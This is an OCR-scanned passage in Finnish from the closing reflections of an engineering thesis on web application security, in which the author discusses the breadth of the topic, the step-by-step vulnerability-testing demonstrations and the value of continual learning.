tehdyissa suunnitelmissa tavoiteltiin. Tavoitteena oli koostaa kattava doku-
mentti, joka perehdyttaa niin laatijan kuin lukijat web-sovellusten tietoturvan al-

keisiin ja innostaa myos jatkossa syventymaan aiheeseen enemman.

Tyon ensimmaiset kolme lukua ovat tiedon maaraltaan suuria ja lukujen tyosta-
minen opetti nopeasti, kuinka laaja taman insin6orityon aihe on. Aiheen kasitel-
lessa nain laajaa aluetta, olisi tama tyo hyvin voinut olla kokonainen kirja. Pro-
sessin alussa haasteena olikin aiheessa pysymisen vaikeus — kuinka tuoda
esille oleellisimmat asiat ja mita yksityiskohtia karsia pois, jotta tyon laajuus py-
syy sille asetetuissa rajoissa. Paikoin kirjallisen tiedon koostaminen sopiviksi
kokonaisuuksiksi oli hyvin puuduttavaa, mika nakyi ongelmina aikataulutuksen
kanssa ja paikoin mekaanisena tekstintuottamisena. Loppujen lopuksi sisallosta
kuitenkin tuli suhteellisen ytimekas ja kattava osa tyota, ja teorialukujen sisaltd
antaa hyvat lahtokohdat ymmartamaan viimeisessa kasittelyluvussa tehtya haa-

voittuvuuksien testaamista.

Insind0rityon viimeisen kasittelyluvun osuus oli tydssa kaikkein antoisin ja opet-
tavaisin, silla tekemalla kaytannonlaheista tyota oppii ja omaksuu sivussa myos
teoreettista tietoa hyvin tehokkaasti. Demonstraatioissa pyrittiin toimimaan
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jarjestelmallisesti seuraamalla I0ydettyja havaintoja ja etenemaan askel aske-
leelta eteenpain. Taman tarkoituksena oli oppia ja samalla havainnoida, kuinka
pienista haavoittuvuuksien jyvasista voi eskaloitua sarja suurempia vahinkoja.
Ty0Ossa olisi voitu vaihtoehtoisesti suorittaa pienia testeja sattumanvaraisesti,
mutta se ei olisi antanut tietoturvariskien vierivan vaikutuksen aiheuttamasta va-
hingollisuudesta yhta realistista kuvaa, vaikkakin silloin testeja olisi ollut mah-
dollista tehda laajemmin eri kategorioista. Kokonaisuudessaan kasittelyluku oli
hyvin mielenkiintoinen, mutta harmillisesti osa sen aikana tehdyista tydvaiheista
oli jatettava taman raportin ulkopuolelle, jotta jalleen kerran pysyttaisiin tyolle

asetetuissa rajoissa.

Loppusanoina voidaan todeta, etta tyon aihe on erittain laaja, mutta hyvin opet-
tavainen, ja luultavasti tulevaisuudessa jatkuvasti ajankohtaisempi. Kirjoittami-
sen hetkella tata tyota voisi jatkaa sellaisenaan taydentamalla jo opittua ja teh-
tya, mutta teknologian kehittyessa ja sen myoéta tietoturvaympariston muuttu-
essa, on tamakin tyd joskus vanhentunutta tietoa. Tietoturva aiheena on riippu-
vainen ympardivasta maailmasta, ja usein aikaisemmin toimineet ratkaisut eivat
enaa toimi tulevaisuudessa. Positiivisena puolena todettakoon, etta aiemman
tiedon paalle on aina helpompi rakentaa uutta, joten tahan aiheeseen syventy-
minen ei ole koskaan ajanhukkaa. Sen voisikin todeta taman insindorityon ydin-

opetukseksi — jatkuvan uuden oppimisen.
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